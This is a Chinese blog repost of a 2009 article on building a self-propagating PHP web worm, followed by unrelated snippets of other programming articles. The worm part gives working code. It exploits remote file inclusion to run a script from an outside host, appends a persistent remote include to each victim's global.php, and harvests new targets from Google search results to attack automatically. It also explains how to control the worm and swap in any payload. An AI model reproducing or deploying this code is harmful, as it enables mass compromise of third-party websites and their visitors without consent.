当前位置: 首页 > 编程日记 > 正文

一个web蠕虫的简单实现

在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织,所谓黑客的后门,鄙视!
所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节点上做了限制。,传播受到限制。但是与此同时,web服务的广泛兴起,各种web程序的漏洞不断被发现,web服务的特殊性以及搜索引擎的强大功能就给了web蠕虫滋生的温床,下面就给大家讲述一个在php环境下的web蠕虫的简单实现。

一 、需要的程序漏洞
php程序的流行加上php的灵活性导致的安全漏洞很多,其中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:
<?
@include $page;
?>
其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默认将远程文件选项allow_url_fopen配置为on,导致包含我们指定的远程文件变得可能。这样存在类似漏洞的程序很多,于是我们可以在其中将变量定义为我们的一个文件如http://www.defence80.com/worm.txt,其中执行的的代码我们可以控制。我们只要简单的GET这个页面:Iam_vul.php?page=http://www.defence80.com/worm.txt 就可以让worm.txt内容在网站执行:)

二 感染
我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?很明显,php代码可以做到这点。我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码:
<?
@include "http://www.defence80.com/worm.txt";
?>
当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,传统的蠕虫也是这样做的!实现很简单,我们可以在网站目录下面生成一个worm.txt表示已经被感染,代码变为:
<?if(!file_exists('worm.txt'))
{
fputs(fopen('worm.txt','a+'),'I am a worm!');
fputs(fopen('global.php','a+'),'<?@include "http://www.defence80.com/worm.txt";?>');
}
?>
这样这个网站就被我们寄生了:)

三 传播
传统的蠕虫是自己随机生成攻击目标或者扫描得到攻击目标的,但是很明显,web不可能自己实现这一点,但是搜索引擎的壮大使着变得可能。假设我们的目标系统的关键页面是Iam_vul.php这个页面,那么我们可以通过Google搜索这个已经提取好的关键字的页面,然后稍加处理就可以生成攻击目标的列表了:)当然也要考虑一些其他的因素,包括代码执行的速率,我们的这个攻击代码是会被插入到漏洞网站执行的,所以不要影响人家页面的打开速度,因为你可能不希望你的蠕虫那么快就死掉。我这里简单的考虑目标的选取和个数的确定:
<?
$random = rand(0, 30);
$random = 10*$random; //随机取0-300之间的数目,我这里是作为示例:)
$query = 'Iam_vul.php'; //关键字
$url = "http://www.google.com/search?q=".$query.&q ... r=&start=".$random;
if($contents=@file_get_contents($url)) //取得Google页面的返回
 {
 $pattern="|<a class=l href=['"]?([^ '"]+)['" ]|U";
 @preg_match_all($pattern,$contents, $regArr, PREG_SET_ORDER);
 for($i=0;$i<@count($regArr);$i++) {
 $site=@preg_replace

("/Iam_vul.php(.*)$/i",'',$regArr[$i][1]); //处理生成结果,可以考虑修改感染个数
 @file_get_contents

($site."Iam_vul.php?page=http://www.defence80.com/worm.txt"); //攻击目标网站,的确就这么简单
 
 }
 }
?>
能不能传播时间够长可能这一步就是关键了,首先你要有精粹的攻击代码,其次要能精确的定位目标,再者因为file_get_contents函数的简单可能很容易被搜索引擎封锁,你需要用其他如fsockopen函数代替这个,为了应付环境的不确定性你需要判断函数的存在做错误处理,能做到不影响目标网站的运行而执行传播最好了!

四 如何控制?
精心构造好上面的数据就可以测试你的蠕虫了,但是如何控制这个放出去的恶魔呢?我们可以将包含worm.txt换成worm.php,然后简单的监视来访问的worm.php的次数就很容易控制这个蠕虫,你也随时可以更改这个代码让蠕虫做任何其他的事情。

五 总结
精心构造自己的代码,web蠕虫是现实的,如果你发现了某个漏洞,是公布出去让人写工具搞破坏挂马还是尝试写一个善意的蠕虫去尝试修复漏洞或者提醒管理员呢?再次鄙视那些写没有思想只写垃圾工具的废物!完毕!

转载于:https://www.cnblogs.com/java123/archive/2009/06/18/1505671.html

相关文章:

SpringBoot设置Session失效时间

1 #Session超时时间设置&#xff0c;单位是秒&#xff0c;默认是30分钟 2 server.session.timeout10 然而并没有什么用&#xff0c;因为SpringBoot在TomcatServletWebServerFactory代码中写了这个 1 private long getSessionTimeoutInMinutes() { 2 Duration sessi…

js url传值中文乱码完美解决(JAVA)

首先在你的jsp页面这样更改&#xff1a; var url"你要传入的Action的位置&ipid"ipid"&keyWord"key; 这里的key是中文&#xff0c;从input中取到值后&#xff0c;使用alert(key)发现中文没有乱码。 那么我们可以对url进行一下处理&#xff1a;urlen…

Angular应用中配置全局路径映射

Angular应用中配置全局路径映射1. tsconfig.json文件配置说明2. 配置全局路径映射2.1 指定baseUrl属性值2.2 配置paths属性值2.3 使用示例为了避免移动文件时调整基本文件的引用路径&#xff0c;或者为了引用部分文件时缩短引用路径&#xff0c;可以在配置文件中配置全局路径映…

对Oracle中索引叶块分裂而引起延迟情况的测试和分析

在版本10.2.0.4未打上相关one-off补丁的情况下&#xff0c;分别对ASSM和MSSM管理模式表空间进行索引分裂测试&#xff0c;经过测试的结论如下&#xff1a; l 在10gr2版本中MSSM方式是不能避免索引分裂引起交易超时问题&#xff1b; l 10.2.0.4上的one-off补丁因为目前仅存在L…

node.js和npm版本升级及升级过程中遇到的问题和解决方案

Node.js和NPM版本升级1. 安装Node.js1.1 版本检查1.2 下载安装程序1.3 安装2. npm升级2.1 版本检查2.2 升级3. 检查Node.js和npm之间的版本对应关系4. 检查Angular CLI、Angular、Node.js、TypeScript 和 RxJS 兼容性矩阵最初在本地安装Node.js和npm时&#xff0c;是通过Angula…

学习进度(5)

记录时间&#xff1a; 第六周 所花时间&#xff08;包括上课&#xff09; 20h 代码量&#xff08;行&#xff09; 400行 博客量&#xff08;篇&#xff09; 0篇 了解到的知识点 结对开发石家庄地铁软件&#xff0c;迪杰斯特拉算法的应用 转载于:https://www.cnblogs.c…

Windows搭建wnmp

http://www.cnblogs.com/wujuntian/p/7252343.html转载于:https://www.cnblogs.com/xiaobai-y/p/7815945.html

我的名字叫博客

我的部落是一个小部落&#xff0c;人口比较少&#xff0c;资源很贫瘠&#xff0c;但是我的人们很努力&#xff0c;他们都是最强的&#xff01;转载于:https://www.cnblogs.com/cchenry/archive/2009/06/25/1511162.html

实例15 判断某一年是否为闰年

package wjf; import java.util.Scanner; public class wjf1{public static void main(String[] args){ //主方法Scanner scannew Scanner(System.in); System.out.println("请输入一个年份"); //向控制台输出一个提示信息long year;try{yearsc…

前端开发知识总结思维导图

前端开发扮演的一个角色&#xff1a; 前端开发知识点总结&#xff1a; 转载于:https://www.cnblogs.com/zhaodagang8/p/7821427.html

Angular应用提高打包速度

当Angular应用功能不断增加时&#xff0c;其打包速度会变慢&#xff0c;可以尝试使用以下方法缩短打包时间。 打开node_modules/webpack/lib/optimize/ModuleConcatenationPlugin.js文件&#xff0c;注释以下代码片段&#xff1a; for (let i 0; i < newModule.dependencie…

iCup,USB加热饮品方案

词条&#xff1a; iCup USB加热杯 USB电器 猛料&#xff1a; 其实看用的macbook作为例子&#xff0c;就知道这个设计很有一段时间啦&#xff0c;用i打头来为苹果打造各种莫名其妙的周边产品也是前几年的潮流&#xff0c;iCup出自Onur Karaalioglu的设计&#xff0c;将USB作为加…

Angular 文件上传与下载

Angular文件上传与下载文件上传方式1 使用NG ZORRO中的组件。文件下载方式1 直接下载方式2 通过HTTP请求后端数据的方式进行下载文件上传 方式1 使用NG ZORRO中的组件。 文件下载 方式1 直接下载 已知明确的下载链接&#xff0c;可以直接进行下载。 <a href"downlo…

包装类接受string 会自动将数字类型string转换成对应得包装类型

转载于:https://www.cnblogs.com/classmethond/p/10663229.html

tensorflow常用函数解析

一、tf.transpose函数的用法 tf.transpose(input, [dimension_1, dimenaion_2,..,dimension_n]):这个函数主要适用于交换输入张量的不同维度用的&#xff0c;如果输入张量是二维&#xff0c;就相当是转置。dimension_n是整数&#xff0c;如果张量是三维&#xff0c;就是用0,1,2…

FLASH处理图像的移动、缩放、旋转、颜色变换的类推荐。

这3个都是比较好的外部类&#xff0c;帮助操作图像的。 教程也比较详细。 看了以后发现&#xff0c;需要把图形学的书翻出来再补补课鸟... http://www.adobe.com/devnet/flash/articles/matrix_transformations_print.html http://blog.joa-ebert.com/imageprocessing-library/…

机器学习——XGBoost大杀器,XGBoost模型原理,XGBoost参数含义

0.随机森林的思考 随机森林的决策树是分别采样建立的&#xff0c;各个决策树之间是相对独立的。那么&#xff0c;在我们得到了第k-1棵决策树之后&#xff0c;能否通过现有的样本和决策树的信息&#xff0c; 对第m颗树的建立产生有益的影响呢&#xff1f;在随机森林建立之后&…

使用存储过程更新数据库!成功了但是返回值为 -1 的变态问题的解决办法!

今天遇到个表态的问题&#xff01;使用带事务的存储过程执行sql语句&#xff0c;看数据库里面插入更新都正常&#xff01; 但是返回值一直为-1&#xff01; 头那个大哦&#xff01;先贴2个存储过程吧&#xff01;看大侠们能否找到问题的存在 USE [My_DB] GO/****** Object: St…

poj2289二分图多重匹配

题意&#xff1a;给你一张二分图&#xff0c;求右边点到汇点的最小容量&#xff08;保证流量为n&#xff09;是多少 题解:二分答案&#xff0c;每次重新建边跑最大流&#xff0c;看是不是为n就好了 #include<map> #include<set> #include<cmath> #include<…

Express应用配置端口

Express应用设置端口方法1 静态修改--直接修改代码中配置的默认端口号方法2 动态修改--修改代码逻辑使其获取启动命令中的端口号参数相关文章在Express应用创建成功后&#xff0c;应用会自动配置一个端口号&#xff0c;比如3000&#xff0c;有时会遇到端口号被占用的情况&#…

Oracle中PL/SQL的循环语句

PL/SQL的三种形式的循环&#xff1a;1.LOOP&#xff08;无条件循环&#xff09;&#xff1a;loopstatements;end loop;2.WHILE&#xff08;有条件循环&#xff09;&#xff1a;while condition loopstatements;end loop;3.FOR&#xff08;固定次数循环&#xff09;&#xff1a;…

处理器调度算法

1. P117页,练习15&#xff1a;最高响应比 HRRF&#xff1a; 作业 提交时刻 运行时刻 开始时刻 完成时刻 周转时间/min 带权周转时间/min 1 10:00 2:00 10:00 12:00 120 120/120 2 10:10 1:00 12:25 13:25 195 195/60 3 10:25 0:25 12:00 12:25 120 …

bzoj4516

后缀自动机 留个板子 upd:大概懂了 每次新加入的npRight集合肯定只有最后一个位置&#xff0c;那么求所有长得不一样的子串贡献就是Max-Min1,因为Right集合只有这一个位置&#xff0c;所以这Max-Min1个子串只出现在最后一个位置。 #include<bits/stdc.h> using namespace…

npm : 无法加载文件 D:\...\nodejs\npm.ps1,因为在此系统上禁止运行脚本

问题&#xff1a; 在VSCode终端使用npm命令时&#xff0c;出现如下报错信息&#xff1a; npm : 无法加载文件 D:\ProgramFiles\nodejs\npm.ps1&#xff0c;因为在此系统上禁止运行脚本。有关详细信息&#xff0c;请参阅 https:/go.microsoft.com/fwlink/?Link ID135170 中的 …

Mybatis注解学习记录

Mybatis注解使用1. SQL语句映射1.1 Select注解&#xff1a;实现查询功能1.1.1 用法1.2 Insert注解&#xff1a;实现新增功能1.2.1 用法1.3 Update注解&#xff1a;实现更新功能1.3.1 用法1.4 Delete注解&#xff1a;实现删除功能1.4.1 用法2. 结果集映射2.1 Results注解&#x…

路由和交换机工作原理

路由器与交换机的工作原理 计算机网络往往由许多种不同类型的网络互连连接而成。如果几个计算机网络只是在物理上连接在一起&#xff0c;它们之间并不能进行通信&#xff0c;那么这种“互连”并没有什么实际意义。因此通常在谈到“互连”时&#xff0c;就已经暗示这些相互连接的…

嵌套选项卡自动播放

HTML <div class"box" id"box"><ul class"top" id"top"><li class"fl">专题</li><li class"fl">视频</li></ul><div class"clearFix" id"cont"…

Facebook 与 Google 正在主导在线身份验证市场

OpenID 公司 JanRain 的一项研究发现&#xff0c;用户在第三方网站进行身份验证时&#xff0c;最喜欢使用 Google 和 Facebook 的身份验证服务。Facebook 的验证服务 在媒体&#xff0c; 零售&#xff0c;技术等领域略微领先&#xff0c;而 JanRain 的17万份客户数据显示&#…

WIN2K/XP/2003 + APACHE + ASP + PHP + MYSQL 的简易实现

至目前总算完成了WIN2K/XP/2003 APACHE ASP PHP MYSQL这样一个建站项目&#xff0c;回过头来仔细想想也并不复杂。只是经过了反复的安装、卸载、研究、测试带找资料。真正的步骤却也没什么难的&#xff0c;但如果让你从头研究可能也是一件很头痛的事情了&#xff01;所以打…

.net 去除特殊字符

str Regex.Replace(str, "<script[^>]*?>.*?</script>", "", RegexOptions.IgnoreCase); //str为需要校验的字符 str Regex.Replace(str, "[~#$%^&\*()_\{}\|<>\/\\\[\]]", "", RegexOptions.IgnoreCase…